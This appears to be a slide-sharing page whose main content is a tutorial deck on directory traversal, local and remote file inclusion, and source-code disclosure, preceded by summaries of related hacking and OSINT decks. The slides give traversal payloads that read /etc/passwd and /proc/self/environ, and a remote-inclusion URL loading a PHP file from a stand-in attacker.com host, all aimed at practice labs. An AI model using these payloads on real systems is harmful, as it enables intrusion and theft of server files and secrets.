Directory Traversal & File Inclusion Attacks
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Directory traversal, also known as path traversal, allows attackers to access files and directories outside of the web server's designated root folder. This can lead to attacks like file inclusion, where malicious code is executed on the server, and source code disclosure, where sensitive application code is revealed. Local file inclusion allows attackers to include files from the local web server, while remote file inclusion includes files from external websites, potentially allowing remote code execution on the vulnerable server.
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Introduction to path traversal attack
Path traversal attacks aim to access files outside a webroot folder by exploiting how web servers handle special directory traversal characters like "..". An attacker can use these characters in a request to climb the directory structure and potentially read sensitive files. They may also try encoding the special characters to bypass security filters. To prevent this, servers should carefully filter user input, ensure only authorized directories are accessible, and keep sensitive files outside public folders.
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This document discusses local file inclusion (LFI) vulnerabilities that can allow attackers to execute remote code. It explains how LFI works by dynamically including user-supplied files, and how attackers can use path traversal and null bytes to read arbitrary local files. It then describes how attackers can use LFI to execute reverse shells on the target server by including a PHP script that opens a remote connection. The document provides examples of vulnerable PHP functions and common files that can be read. It concludes by recommending input validation and whitelisting of allowed files to defend against LFI attacks.
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This document summarizes different types of cyber attacks. It describes web-based attacks like SQL injection, cross-site scripting, and denial of service attacks. It also outlines system-based attacks such as viruses, worms, and trojan horses. Additionally, it covers methods that can assist attacks, including spoofing, sniffing, and port scanning. The goal of the document is to provide an overview of common cyber attacks and threats that exist in the cyber world.
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The document discusses search operators for Yandex, a Russian search engine. It provides examples of over 20 different Yandex boolean operators like +, -, &&, ||, and others. It explains what each operator does and provides examples of queries using the various operators to refine searches on Yandex. The boolean operators allow users to search for exact phrases, exclude terms, define word proximity, search specific fields, and more.
OSINT - Twitter Searches
This document discusses social media intelligence and Twitter advanced search capabilities. It introduces Twitter, explaining that it is a microblogging platform and the 8th most popular website globally. The document also outlines different advanced search operators for Twitter including searching by words, phrases, hashtags, accounts, locations, dates, and tweet properties like whether they are positive, negative, questions, or retweets. It notes that advanced search allows more precise searching than basic search to collect social mentions for social media intelligence purposes.
OSINT Tool - Reconnaissance with Recon-ng
Recon-ng is a Python-based web reconnaissance framework that allows automated reconnaissance. It focuses on open-source intelligence gathering from web-based sources. The tool downloads from Bitbucket and has usage guides there. Recon-ng demonstrations show searching reverse domains, using the Builtwith and Punkspider modules to gather technical information, and using the LinkedIn module to find people at a specific company.
OSINT Tool - Reconnaissance with Maltego
This document provides an overview of the open source intelligence (OSINT) tool Maltego. It describes what Maltego is, how it works, and how to install it. Maltego allows users to map relationships between entities like people, organizations, websites, domains, and IP addresses through the use of transforms. It gathers information from online sources and users can write their own transforms and machines. The document provides details on features of Maltego and how to download the commercial or community editions.
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This document discusses search and advanced search features on LinkedIn. It introduces LinkedIn as a professional networking site and explains why it is useful for social media intelligence. It then describes LinkedIn's advanced search page and the various filters that can be used to refine searches, such as keywords, name, title, location, relationship filters, current/past companies, school, languages, interests, and premium member filters. Finally, it explains how Boolean operators like AND, OR, NOT, parentheses, and quotation marks can be used to perform more complex searches on LinkedIn.
OSINT - Facebook Searches
The document discusses social media intelligence (SOCMINT) and how to use Facebook's graph search and search functions to find information about people. It provides examples of different types of queries that can be used to search for people by name, age, location, school, likes, photos, posts, and more. The case study demonstrates how to use these search functions to find information about a black hat hacker named Shadow Walker.
Osint - Dark side of Internet
The document discusses the different layers of the internet, including the clearweb which is accessible via search engines, the dark web which search engines don't index, and the deep web which requires special software like Tor or I2P to access. It provides an overview of Tor and I2P anonymity networks, and how to configure them to access the deep web through URLs ending in .onion rather than standard top-level domains. The document also gives an example of a hidden wiki URL that can only be accessed through the Tor browser, not a regular browser.
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The following project " Intrusion Detection System " Modules Are :-
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This document is Raghav Bisht's report on his 6-week summer training at Bytec0de Securities PVT. LTD from May 25th to July 25th 2013 under the guidance of Mr. Mohit Yadav. The report provides an overview of the training organization, outlines the training objectives and course topics covered, and thanks those who supported his training experience. Key topics covered in the training included introduction to hacking and security, ethical hacking, technology aspects of IT security, hacking steps and techniques like DDoS attacks, wireless hacking, SQL injection, and penetration testing.
Sql injection attack
SQL injection is a code injection technique where malicious SQL statements are inserted into an entry field for execution, allowing a hacker to interfere with a database-driven application's interaction with backend databases. There are different types of SQL injections, including union-based, error-based, and blind SQL injections. Authentication can also be bypassed through SQL injection by making logical conditions like 1=1 or ""="" always true. The document provides examples of SQL injection payloads and demo websites to practice SQL injection techniques.
Os Command Injection Attack
OS command injection vulnerabilities occur when user input is not sanitized before being passed to a shell command interpreter. This allows attackers to inject arbitrary commands that will be executed by the server, potentially compromising the server or application data. Command injection vulnerabilities are serious because they may enable attackers to use the server as a platform for launching attacks against other systems. Commix is an open source tool that can detect and exploit command injection vulnerabilities.
Introduction To Vulnerability Assessment & Penetration Testing
A vulnerability assessment identifies vulnerabilities in systems and networks to understand threats and risks. Penetration testing simulates cyber attacks to detect exploitable vulnerabilities. There are three types of penetration testing: black box with no system info; white box with full system info; and grey box with some system info. Common vulnerabilities include SQL injection, XSS, weak authentication, insecure storage, and unvalidated redirects. Tools like Nexpose, QualysGuard, and OpenVAS can automate vulnerability assessments.
Introduction To Exploitation & Metasploit
Penetration testing involves evaluating systems or networks using malicious techniques to identify security vulnerabilities. It is done by exploiting vulnerabilities to gain unauthorized access to sensitive information. Common vulnerabilities arise from design errors, poor configuration, and human error. Penetration testing is conducted to secure government data transfers, protect brands, and find vulnerabilities in applications, operating systems, databases, and network equipment. Metasploit is an open-source framework used for hacking applications and operating systems that contains exploits, payloads, and modules. Msfconsole is an interface used to launch attacks and create listeners in Metasploit.
Introduction To Ethical Hacking
Hacking involves exploiting vulnerabilities in computer systems or networks to gain unauthorized access. There are different types of hackers, including white hat hackers who perform ethical hacking to test security, black hat hackers who perform hacking with malicious intent, and grey hat hackers who may sometimes hack ethically and sometimes not. Ethical hacking involves testing one's own systems for vulnerabilities without causing harm. Vulnerability assessments and penetration tests are common ethical hacking techniques that involve scanning for vulnerabilities and attempting to exploit them in a controlled way. Popular tools used for ethical hacking include Kali Linux, Nmap, Metasploit, and John the Ripper.
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This document discusses techniques for evading antivirus and firewalls, including generating executable files with embedded PowerShell commands to execute backdoors, generating macro-enabled Excel files with encoded payloads to act as Trojans, and using the Shellter tool to dynamically inject shellcode into Windows applications. Figures are provided showing the use of tools like Metasploit and Unicorn to generate payloads and backdoors, embedding them in files, bypassing antivirus detection, and attackers gaining sessions on victim machines.
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This document contains notes on networking concepts including network requirements, communication media, networking devices, Ethernet cabling, OSI model, TCP/IP protocols, IP addressing, and classes of networks. It defines networking as the method of establishing a connection between two or more computers for data communication and sharing resources. Basic requirements for establishing a network include networking cards and communication media such as wired (coaxial cable, fiber optics, twisted pair) and wireless. Common networking devices are hubs, switches, routers, and bridges.
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This is my personal CEH Training Notes that have been modified edited and converted into a practical Handbook.
Introduction To Hacking
This document provides an introduction to hacking and security, defining key terms. It explains that hacking involves exploiting vulnerabilities to achieve unauthorized access. Hackers are classified as white hats (ethical), black hats (crackers), or grey hats. The document outlines the importance of understanding systems to secure them through ethical hacking and penetration testing. It lists certifications in security and provides keywords and terms for hackers to be familiar with.
Windows Registry Tips & Tricks
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Directory Traversal & File Inclusion Attacks
- 2. What is Directory Traversal ? Directory traversal or Path Traversal is an HTTP attack which allows attackers to access restricted directories and execute commands outside of the web server's root directory. A directory traversal consists in exploiting insufficient security validation / sanitization of user-supplied input file names, such that characters representing "traverse to parent directory" are passed through to the file APIs Also known as File Path Traversal Attack or Dot Dot Slash Attack (../../ or ....)
- 3. Type of Directory Traversal Attacks File Inclusion Local File Inclusion Remote File Inclusion Server Side - Script Source Code Disclosure
- 4. What is Local File Inclusion ? Local File inclusion (LFI), or simply File Inclusion, refers to an inclusion attack through which an attacker can trick the web application in including files on the web server by exploiting functionality that dynamically includes local files or scripts. The consequence of a successful LFI attack includes Directory Traversal and Information Disclosure as well as Remote Code Execution. Payloads : ../etc/passwd ../proc/self/environ http://testphp.vulnweb.com/showimage.php?file=../../etc/passwd
- 5. Use Burp suite to view following link : http://testphp.vulnweb.com/showimage.php?file=../../etc/passwd Local File Inclusion
- 7. What is Remote File Inclusion Remote File inclusion (RFI) refers to an inclusion attack wherein an attacker can cause the web application to include a remote file by exploiting a web application that dynamically includes external files or scripts. The consequences of a successful RFI attack include Information Disclosure and Cross-site Scripting (XSS) to Remote Code Execution.
- 8. Use Mutillidae for demonstration : Eg. http://192.168.137.39/mutillidae/index.php?page=document- viewer.php&PathToDocument=http://attacker.com/malicious_file.php Remote File Inclusion
- 10. What is Script source code disclosure ? Source code intended to be kept server-side can sometimes end up being disclosed to users. Such code may contain sensitive information such as database passwords and secret keys, which may help malicious users formulate attacks against the application. In this type of attack, attacker take advantage of file path traversal vulnerability to read server side source code of an application.
- 11. Use Burp suite to view following link : http://testphp.vulnweb.com/showimage.php?file=database_connect.php Server-Side Script Source code disclosure